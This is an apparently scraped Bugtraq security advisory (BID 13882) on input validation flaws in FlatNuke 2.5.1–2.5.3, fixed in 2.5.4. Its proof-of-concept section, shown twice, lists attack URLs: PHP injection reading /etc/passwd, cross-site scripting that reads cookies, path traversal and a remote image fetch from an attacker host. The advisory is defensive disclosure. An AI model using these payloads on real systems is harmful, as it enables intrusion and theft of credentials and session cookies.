FlatNuke Multiple Input Validation Vulnerabilities
BID:13882
Info
FlatNuke Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 13882 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 07 2005 12:00AM |
| Updated: | Jun 07 2005 12:00AM |
| Credit: | SecWatch is credited with the discovery of these issues. |
| Vulnerable: |
FlatNuke FlatNuke 2.5.3 FlatNuke FlatNuke 2.5.2 FlatNuke FlatNuke 2.5.1 |
| Not Vulnerable: |
FlatNuke FlatNuke 2.5.4 |
Discussion
FlatNuke Multiple Input Validation Vulnerabilities
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible.
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible.
Exploit / POC
FlatNuke Multiple Input Validation Vulnerabilities
No exploit is required to leverage either of these issues. The following proof of concepts have been released.
http://www.example.com/?cmd=<?php system("cat /etc/passwd")?>
http://www.example.com/forum/help.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/help.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/footer.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/footer.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/flatnuke/index.php?mod=none_Search&find=1&where=null
http://www.example.com/flatnuke/print.php
http://www.example.com/flatnuke/thumb.php?image=null
http://www.example.com/flatnuke/thumb.php?image=../../non-webreadable/private/image.jpg
http://www.example.com/flatnuke/thumb.php?image=http://[attacker]/image.jpg
http://www.example.com/flatnuke/thumb.php?image=null
No exploit is required to leverage either of these issues. The following proof of concepts have been released.
http://www.example.com/?cmd=<?php system("cat /etc/passwd")?>
http://www.example.com/forum/help.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/help.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/footer.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/footer.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/flatnuke/index.php?mod=none_Search&find=1&where=null
http://www.example.com/flatnuke/print.php
http://www.example.com/flatnuke/thumb.php?image=null
http://www.example.com/flatnuke/thumb.php?image=../../non-webreadable/private/image.jpg
http://www.example.com/flatnuke/thumb.php?image=http://[attacker]/image.jpg
http://www.example.com/flatnuke/thumb.php?image=null
Solution / Fix
FlatNuke Multiple Input Validation Vulnerabilities
Solution:
The vendor has released version 2.5.4 of the affected software resolving these issues.
FlatNuke FlatNuke 2.5.1
FlatNuke FlatNuke 2.5.2
FlatNuke FlatNuke 2.5.3
Solution:
The vendor has released version 2.5.4 of the affected software resolving these issues.
FlatNuke FlatNuke 2.5.1
-
FlatNuke Download flatnuke-2.5.4.tar.gz
http://sourceforge.net/project/showfiles.php?group_id=93076&package_id =98622
FlatNuke FlatNuke 2.5.2
-
FlatNuke Download flatnuke-2.5.4.tar.gz
http://sourceforge.net/project/showfiles.php?group_id=93076&package_id =98622
FlatNuke FlatNuke 2.5.3
-
FlatNuke Download flatnuke-2.5.4.tar.gz
http://sourceforge.net/project/showfiles.php?group_id=93076&package_id =98622
References
FlatNuke Multiple Input Validation Vulnerabilities
References:
References: